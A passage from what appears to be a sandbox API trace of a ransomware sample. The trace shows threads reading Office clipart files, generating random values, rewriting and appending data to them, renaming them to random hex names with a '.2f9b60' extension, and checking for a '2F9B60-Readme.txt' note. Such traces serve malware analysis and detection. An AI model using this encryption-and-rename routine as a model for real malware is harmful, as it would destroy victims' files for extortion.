Seed=0x1ed7f930) returned 0x619bbf7f [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x26481da8 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x34048144 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x7002f18d [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x682fd859 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x591c1649 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x7827c82d [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x795ed9a9 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x650e2272 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x619bbf7f [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x1a62e0e5 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x230c88c8 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x70b0a3ae [0123.559] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x1a2406f0 [0123.559] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x7e8cd84e [0123.567] ReadFile (in: hFile=0x10bc, lpBuffer=0x1cef8680, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x1ed7f930, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesRead=0x1ed7f930*=0x1498, lpOverlapped=0x0) returned 1 [0123.871] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.871] WriteFile (in: hFile=0x10bc, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x1ed7f934, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x1ed7f934*=0x1498, lpOverlapped=0x0) returned 1 [0123.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0123.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0123.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0123.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0123.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef8680) returned 1 [0123.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a10) returned 1 [0123.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059790) returned 1 [0123.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263500 [0123.897] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.897] WriteFile (in: hFile=0x10bc, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ed7fa50, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x1ed7fa50*=0x10a, lpOverlapped=0x0) returned 1 [0123.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0123.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dde0 [0123.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dde0) returned 1 [0123.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dde0 [0123.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de10 [0123.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050de10) returned 1 [0123.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0123.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.932] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="1f") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="bf") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="4a") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="5e") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="02") returned 2 [0123.932] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="eb") returned 2 [0123.932] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="a5") returned 2 [0123.932] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="83") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="76") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="0c") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="6c") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="98") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="4d") returned 2 [0123.932] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="ef") returned 2 [0123.932] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="b2") returned 2 [0123.932] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="54") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="99") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="74") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="2b") returned 2 [0123.932] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="7c") returned 2 [0123.933] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="4b") returned 2 [0123.933] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="50") returned 2 [0123.933] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.933] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="a5") returned 2 [0123.933] RtlInitAnsiString (in: DestinationString=0x1ed7fac8, SourceString="1fbf4a5e02eba583760c6c984defb25499742b7c4b50c1a5" | out: DestinationString="1fbf4a5e02eba583760c6c984defb25499742b7c4b50c1a5") [0123.933] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ed7fa98, SourceString="1fbf4a5e02eba583760c6c984defb25499742b7c4b50c1a5", AllocateDestinationString=1 | out: DestinationString="1fbf4a5e02eba583760c6c984defb25499742b7c4b50c1a5") returned 0x0 [0123.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9550 [0123.933] wcscat (in: _Dest=0x202b1370, _Source="1fbf4a5e02eb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fbf4a5e02eb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fbf4a5e02eb" [0123.933] wcscat (in: _Dest=0x202b1370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fbf4a5e02eb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fbf4a5e02eb.2f9b60" [0123.933] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fbf4a5e02eb.2f9b60", NtPathName=0x1ed7fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1fbf4a5e02eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0123.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0123.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a340) returned 1 [0123.958] NtQueryInformationFile (in: FileHandle=0x10bc, IoStatusBlock=0x1ed7fad8, FileInformation=0x1ed7fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ed7fad8, FileInformation=0x1ed7fae8) returned 0x0 [0123.958] NtSetInformationFile (FileHandle=0x10bc, IoStatusBlock=0x1ed7fad8, FileInformation=0x1ed7fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0123.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0123.963] FlushFileBuffers (hFile=0x10bc) returned 1 [0124.133] CloseHandle (hObject=0x10bc) returned 1 [0124.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0124.134] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.134] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050af50) returned 1 Thread: id = 1505 os_tid = 0x19d8 [0120.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0122.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF", dwFileAttributes=0x20) returned 1 [0122.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1714 [0123.482] GetFileSizeEx (in: hFile=0x1714, lpFileSize=0x1f2cf840 | out: lpFileSize=0x1f2cf840*=3016) returned 1 [0123.482] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.482] ReadFile (in: hFile=0x1714, lpBuffer=0x1f2cf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f2cf808, lpOverlapped=0x0 | out: lpBuffer=0x1f2cf7c0*, lpNumberOfBytesRead=0x1f2cf808*=0x4, lpOverlapped=0x0) returned 1 [0123.666] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f100 [0123.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f160 [0123.666] NtQuerySystemTime (in: CurrentTime=0x1f2cf700 | out: CurrentTime=0x1f2cf700*=132462177290506000) returned 0x0 [0123.666] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x731106a [0123.666] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x3e3dc344 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x43acc6e8 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x6c8e1669 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x7ea30446 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0xc47b70b [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x10f747d8 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0xac3ae07 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x68af23de [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x3b50383 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x1889b2c6 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x824fac0 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x65dcd2af [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x6b7aaa79 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0xac3ae07 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x22ad170b [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x71600332 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x3b50383 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x5372fb81 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x6a75f191 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x4e9cf291 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x73fc630 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x5ab6c45d [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x78f6f186 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x56f71f33 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x2f21e6d8 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x1fb912c3 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x2be7bec6 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x6a75f191 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x230c88c8 [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x4944272e [0123.667] RtlRandomEx (in: Seed=0x1f2cf6f0 | out: Seed=0x1f2cf6f0) returned 0x176a6925 [0123.675] ReadFile (in: hFile=0x1714, lpBuffer=0x41d885a0, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x1f2cf6f0, lpOverlapped=0x0 | out: lpBuffer=0x41d885a0*, lpNumberOfBytesRead=0x1f2cf6f0*=0xbc8, lpOverlapped=0x0) returned 1 [0123.675] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.675] WriteFile (in: hFile=0x1714, lpBuffer=0x41c500b0*, nNumberOfBytesToWrite=0xbc8, lpNumberOfBytesWritten=0x1f2cf6f4, lpOverlapped=0x0 | out: lpBuffer=0x41c500b0*, lpNumberOfBytesWritten=0x1f2cf6f4*=0xbc8, lpOverlapped=0x0) returned 1 [0123.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5b0 [0123.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5e0 [0123.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f5e0) returned 1 [0123.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c500b0) returned 1 [0123.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d885a0) returned 1 [0123.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505390) returned 1 [0123.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ab0) returned 1 [0123.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f5e0 [0123.892] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.892] WriteFile (in: hFile=0x1714, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f2cf810, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x1f2cf810*=0x10a, lpOverlapped=0x0) returned 1 [0123.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0123.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0123.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050de40) returned 1 [0123.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0123.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df00 [0123.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df00) returned 1 [0123.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0123.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.928] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="80") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="b3") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="f4") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="82") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="27") returned 2 [0123.928] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="a0") returned 2 [0123.928] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="90") returned 2 [0123.928] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="bb") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="79") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="61") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="c7") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="5c") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="ed") returned 2 [0123.928] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.928] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="91") returned 2 [0123.928] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="b1") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="8a") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="2f") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="5c") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="3a") returned 2 [0123.928] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="21") returned 2 [0123.929] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="57") returned 2 [0123.929] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="d6") returned 2 [0123.929] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="ee") returned 2 [0123.929] RtlInitAnsiString (in: DestinationString=0x1f2cf888, SourceString="80b3f48227a090bb7961c75ced4c91b18a2f5c3a2157d6ee" | out: DestinationString="80b3f48227a090bb7961c75ced4c91b18a2f5c3a2157d6ee") [0123.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f2cf858, SourceString="80b3f48227a090bb7961c75ced4c91b18a2f5c3a2157d6ee", AllocateDestinationString=1 | out: DestinationString="80b3f48227a090bb7961c75ced4c91b18a2f5c3a2157d6ee") returned 0x0 [0123.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9320 [0123.929] wcscat (in: _Dest=0x202b1b90, _Source="80b3f48227a0" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\80b3f48227a0") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\80b3f48227a0" [0123.929] wcscat (in: _Dest=0x202b1b90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\80b3f48227a0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\80b3f48227a0.2f9b60" [0123.929] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\80b3f48227a0.2f9b60", NtPathName=0x1f2cf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\80b3f48227a0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107480 [0123.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0123.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0123.956] NtQueryInformationFile (in: FileHandle=0x1714, IoStatusBlock=0x1f2cf898, FileInformation=0x1f2cf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f2cf898, FileInformation=0x1f2cf8a8) returned 0x0 [0123.956] NtSetInformationFile (FileHandle=0x1714, IoStatusBlock=0x1f2cf898, FileInformation=0x1f2cf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1b90) returned 1 [0123.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9320) returned 1 [0123.960] FlushFileBuffers (hFile=0x1714) returned 1 [0124.123] CloseHandle (hObject=0x1714) returned 1 [0124.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1370 [0124.127] wcscpy (in: _Dest=0x202b1370, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.127] wcscat (in: _Dest=0x202b1370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0124.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aec0) returned 1 Thread: id = 1506 os_tid = 0x19dc [0120.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0122.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF", dwFileAttributes=0x20) returned 1 [0122.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1830 [0123.489] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x1e84fd00 | out: lpFileSize=0x1e84fd00*=3780) returned 1 [0123.489] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0xec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.489] ReadFile (in: hFile=0x1830, lpBuffer=0x1e84fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e84fcc8, lpOverlapped=0x0 | out: lpBuffer=0x1e84fc80*, lpNumberOfBytesRead=0x1e84fcc8*=0x4, lpOverlapped=0x0) returned 1 [0123.737] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dba0 [0123.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d900 [0123.737] NtQuerySystemTime (in: CurrentTime=0x1e84fbc0 | out: CurrentTime=0x1e84fbc0*=132462177291130000) returned 0x0 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x5da06a0a [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x2ce06dc7 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x18930c10 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x2456e838 [0123.737] RtlRandomEx (in: Seed=0x1e84fbb0 | out: Seed=0x1e84fbb0) returned 0x5032847a [0123.737] RtlRandomEx (in: 